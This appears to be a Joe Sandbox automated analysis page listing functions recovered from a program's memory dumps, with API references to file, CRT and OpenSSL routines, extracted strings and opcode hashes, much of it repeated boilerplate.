Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: CreateFile
String ID: delayed %dms for lock/sharing conflict at line %d$exclusive$psow$winOpen
API String ID: 823142352-3829269058
Opcode ID: 9fa68a4d019e543b82f48475598e9f337480dd6f5aee3ec3198131acb147343e
Instruction ID: b39c23d2f04684aeedbbcf3b8216fa34675faa9dcf65057b55973653eaaa5bc7
Opcode Fuzzy Hash: 9fa68a4d019e543b82f48475598e9f337480dd6f5aee3ec3198131acb147343e
Instruction Fuzzy Hash: 13027A21A0DA83C6FB688F65A85467973B0FF84B98F054235EE4E4A6B5DF3CE485C701

Function 00007FFE0130D9E0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 110fileCOMMON

Download Yara Rule

APIs

00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0130DA23
00007FFE1A463010.VCRUNTIME140 ref: 00007FFE0130DA4C
ReadFile.KERNEL32 ref: 00007FFE0130DA9F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 00007FFE0130DB38
winRead, xrefs: 00007FFE0130DAF7

Memory Dump Source

Source File: 00000001.00000002.2120062918.00007FFE01301000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFE01300000, based on PE: true

Associated: 00000001.00000002.2120031328.00007FFE01300000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01461000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01463000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120062918.00007FFE01478000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120284056.00007FFE0147A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000001.00000002.2120315849.00007FFE0147C000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe01300000_program.jbxd

Similarity

API ID: 00007A463010$FileRead
String ID: delayed %dms for lock/sharing conflict at line %d$winRead
API String ID: 2600561947-1843600136
Opcode ID: 66d7818fc9c6dce62004362554e4c0cfd5c82727d3bea9d87ae7196a0384542c
Instruction ID: 246d659aaaac3c0270fc440e5f12285b073fb8f787a0c5e011c6732e1d2d8a08
Opcode Fuzzy Hash: 66d7818fc9c6dce62004362554e4c0cfd5c82727d3bea9d87ae7196a0384542c
Instruction Fuzzy Hash: 30412222A0CA8782E7218FD5E8405B9B7E5FF94784F42403AEA4D4B6B4DF3CE4868740

Function 00007FF6B7515628 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7515655
CreateFileW.KERNEL32 ref: 00007FF6B7515694
CloseHandle.KERNEL32 ref: 00007FF6B75156C9

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction ID: 0bb9fd529e0937b88cd4e6ffa7f4e000f86cc17932332b5b5c4e2bc2f5ff710c
Opcode Fuzzy Hash: b1746a8a916bbf96797ffba89da9809a683c49b2a7b1d8f7dd6efe5c63c8eb6a
Instruction Fuzzy Hash: 27418023E1C79283E7509F6495503696260FB947A5F109335EBAC83EE2EF7CA5E08740

Function 00007FFE007614F1 Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 231COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFE007A7D72

Strings

..\s\ssl\record\rec_layer_s3.c, xrefs: 00007FFE007A7C16, 00007FFE007A7D1E, 00007FFE007A7E3D, 00007FFE007A7EA6
ssl3_read_n, xrefs: 00007FFE007A7C0A, 00007FFE007A7D12, 00007FFE007A7E31, 00007FFE007A7E9A

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: ErrorLast
String ID: ..\s\ssl\record\rec_layer_s3.c$ssl3_read_n
API String ID: 1452528299-4226281315
Opcode ID: 72c0e7aa6cb440006a06cd762c0773f9cb24828254b5c2bc54d82e6e819b576e
Instruction ID: 19c92ac0c6445d6dad898d4b82b12de7dd03a55d7250fce7a73e5009a107a884
Opcode Fuzzy Hash: 72c0e7aa6cb440006a06cd762c0773f9cb24828254b5c2bc54d82e6e819b576e
Instruction Fuzzy Hash: A9A17B61B0EA8681FB58BB25D8147B92294AF85B94F5C4132EF4D0BBADDF3CD845C310

Function 00007FFE007614BF Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 229COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFE007BF1C3

Strings

state_machine, xrefs: 00007FFE007BF2AE, 00007FFE007BF450, 00007FFE007BF483
..\s\ssl\statem\statem.c, xrefs: 00007FFE007BF2B5, 00007FFE007BF45C, 00007FFE007BF48F

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: ErrorLast
String ID: ..\s\ssl\statem\statem.c$state_machine
API String ID: 1452528299-1722249466
Opcode ID: b54ccff58f8e80719a599f0acc35fce9342e321a5adb0181e948912c75f3cdda
Instruction ID: f76e6f8e5446e7c8126656ef66b40b4505566e243c94897083714a2b70a0fa8f
Opcode Fuzzy Hash: b54ccff58f8e80719a599f0acc35fce9342e321a5adb0181e948912c75f3cdda
Instruction Fuzzy Hash: 46A12D26A0E64385FB64BA25D8413BD22A5EF41F44F5C4436DB4D467FECE3CE8828752

Function 00007FFE0076127B Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFE007A8AC5

Strings

..\s\ssl\record\rec_layer_s3.c, xrefs: 00007FFE007A8B6E, 00007FFE007A8BCA
ssl3_write_pending, xrefs: 00007FFE007A8B62, 00007FFE007A8BBE

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: ErrorLast
String ID: ..\s\ssl\record\rec_layer_s3.c$ssl3_write_pending
API String ID: 1452528299-1219543453
Opcode ID: 5b41cf49d76ee813241620147cb438b9269980a246317de21737170a9b88665e
Instruction ID: 6693d6dd0a551a673d6da3c826f9b48a180c43ab5792340b9dad0ff8b7368ceb
Opcode Fuzzy Hash: 5b41cf49d76ee813241620147cb438b9269980a246317de21737170a9b88665e
Instruction Fuzzy Hash: 0F41A0B2B0AA4182F7A0AB15D5447B973A0FB85B84F1C8136EB4D07BADDF3DE4518341

Function 00007FF6B750CC3C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B750CE0C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6B750CE20

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6B750CC60
__scrt_release_startup_lock.LIBCMT ref: 00007FF6B750CCCE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6B750CD21

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction ID: c5f8044358c9d798c5894b463f45aa4f97b247633c3543ef5eb62a9e4030bf9b
Opcode Fuzzy Hash: b3dd18574e8b698ea28c35ed35ed65a6730a16d6ac14c38d0a8ba428da0d66bc
Instruction Fuzzy Hash: 77313A23E0C29745FA54AB6C94623F91791AF82388F44503AEB4ECB6F7DE2DB8059241

Function 00007FF6B751013C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7510180
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7510277

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction ID: 9e601518f5a6b0b002dad5668a8733424aa08585c56ca06e0a9f930c2eb9cb6b
Opcode Fuzzy Hash: e80cfa20b6c7ebf2f27a6dba6ddb06cb01cda21135ba71ef9e2cf3b7629ca058
Instruction Fuzzy Hash: 6F510723B0D26586FB289F2D980167A6291BF44BA5F194735DF7D83BE5DF3CE4018620

Function 00007FF6B751C134 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNEL32(?,?,?,?,?,00007FF6B751C2CD), ref: 00007FF6B751C180
GetLastError.KERNEL32(?,?,?,?,?,00007FF6B751C2CD), ref: 00007FF6B751C18A

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction ID: 9348fd7082fa0307d0cc518e5fe57c94b1d6325e0784e436dff23ff2b4a4699b
Opcode Fuzzy Hash: 7d52f85de62641260209e8dbb28c5e1251e01e8bf24b4306ce9dcd9badf2c9c6
Instruction Fuzzy Hash: 8211C463A0CAA181DA208B2AE8141696361AB45FF4F544335EF7D8BBF9DE7CE0518740

Function 00007FF6B751AB58 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?,?,?,00007FF6B751A9D5,?,?,00000000,00007FF6B751AA8A), ref: 00007FF6B751ABC6
GetLastError.KERNEL32(?,?,?,00007FF6B751A9D5,?,?,00000000,00007FF6B751AA8A), ref: 00007FF6B751ABD0

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction ID: 407f86b3c7839f6f1954c1288e880ec10a226cb763a7050fad2a332fc2f14047
Opcode Fuzzy Hash: ae1e15d82824e1a5fac1c7302ca2ff5641fe0b0e43db7728cd9339717749910c
Instruction Fuzzy Hash: 7421AB13F1C6E241FA669BA9949037D12929F847A5F044239DB1EC7FF5DE6CF8814300

Function 00007FF6B751BEAC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B751BED4

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction ID: 6c5d8e89f1f6e1cb93ead1f22dc2cae22c4fa37c2040123e0360d7510bde1ba4
Opcode Fuzzy Hash: 5a303e376ae32d58fd1e52f1ac99a64fdc1cf63549abbe0bdd4da132c2ec767e
Instruction Fuzzy Hash: 9C419A3391C25587EA259F2DA54027973A1EB5AB92F100235EBCEC3AE1CF6CE4438B51

Function 00007FF6B7507F90 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF6B750803A

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: 479405c7ef634ee4bdd4ed85459738d9743f05c8c4b8da07aaad499d404441fa
Instruction ID: 37860710e2ad52b969d1663f6b44e6b6ee08945183f3051cc32d536a3ba7d339
Opcode Fuzzy Hash: 479405c7ef634ee4bdd4ed85459738d9743f05c8c4b8da07aaad499d404441fa
Instruction Fuzzy Hash: 2421D622B1C66146FA109B2A6914BFA9781BF45BD8F884430EF4C97B96CE7DF042C300

Function 00007FF6B751B93C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B751B9C2

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction ID: 1e28fe687b4b102906b4916518218b98f1f38c22012c395fdba5b578c0066d66
Opcode Fuzzy Hash: c2d01373d3233558d420055387ebca2c39d1ce99b2c1a08127fa32cb0ba5fec2
Instruction Fuzzy Hash: BF316123A1C62285F7116F5D884137C26A0AF80FA6F415235EB5D97BF2CE7CF4428711

Function 00007FF6B7515F94 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7515EF9

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction ID: 1ed75aa72f50d236d9686b0a6e597cd7aba8c1c411a2243c41135f4c077dd308
Opcode Fuzzy Hash: d0ecc1d4814c8292f6d285d86e9f4332b8d7141ecd04c52723bb65a1ba9d936a
Instruction Fuzzy Hash: C5116023E1C66282EA61AF19940027EA264BF85B85F444536FB8CD7FB6DF3DE4418700

Function 00007FF6B7526354 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7526377

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction ID: be48282a8cd2cc7da7c5f69b13c750ed32804945e68f4a7ac804d1c504c0b065
Opcode Fuzzy Hash: 3765a10cee1e255344ee37f065f4be71d58868c9c9e645b3056c9746d3493235
Instruction Fuzzy Hash: F3218433A1CA4586EB618F1CD48037976A0FB94B54F244234EB9EC7AE9DF3CD4118B00

Function 00007FFE007BF070 Relevance: 1.6, APIs: 1, Instructions: 303COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32 ref: 00007FFE007BF1C3

Memory Dump Source

Source File: 00000001.00000002.2119745990.00007FFE00761000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FFE00760000, based on PE: true

Associated: 00000001.00000002.2119715206.00007FFE00760000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE007E5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE0080D000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00818000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119745990.00007FFE00823000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119967268.00007FFE00827000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000001.00000002.2119999506.00007FFE00829000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffe00760000_program.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 8603938ac5e1fbf28ba7d9b8f40a04eb8b77d7e104ff7c3c46d49aacb8bdd123
Instruction ID: 6ef378361b40011260eda6503fe923329641f169ad23eeca6a372cdf930790fb
Opcode Fuzzy Hash: 8603938ac5e1fbf28ba7d9b8f40a04eb8b77d7e104ff7c3c46d49aacb8bdd123
Instruction Fuzzy Hash: 46219F32A0A7828AEB64BA25EC413BD22A0FF00F84F2C4435DB49423A9DE3CE841C651

Function 00007FF6B75103BC Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B7510410

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff6b7500000_program.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction ID: a84ba4a718ccd5eed1345ccf01100c65a9825216815a7ae7e20535eea5ef0b15
Opcode Fuzzy Hash: 8e9754deeba93abb4745aa2efb451e77357aefa8fb0fbddb16feb6c8c90fdd62
Instruction Fuzzy Hash: D901C422E0C76580EA04DF5A99410B9A691BF85FE1F484631EF5C97FE6CE7CE4028300

Function 00007FF6B7508E80 Relevance: 1.5, APIs: 1, Instructions: 19libraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B7509390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF6B75045F4,00000000,00007FF6B7501985), ref: 00007FF6B75093C9

LoadLibraryExW.KERNEL32(?,00007FF6B7506476,?,00007FF6B750336E), ref: 00007FF6B7508EA2

Memory Dump Source

Source File: 00000001.00000002.2116056322.00007FF6B7501000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6B7500000, based on PE: true

Associated: 00000001.00000002.2115877343.00007FF6B7500000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116174353.00007FF6B752B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B753E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116227515.00007FF6B7541000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2116412855.00007FF6B7544000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

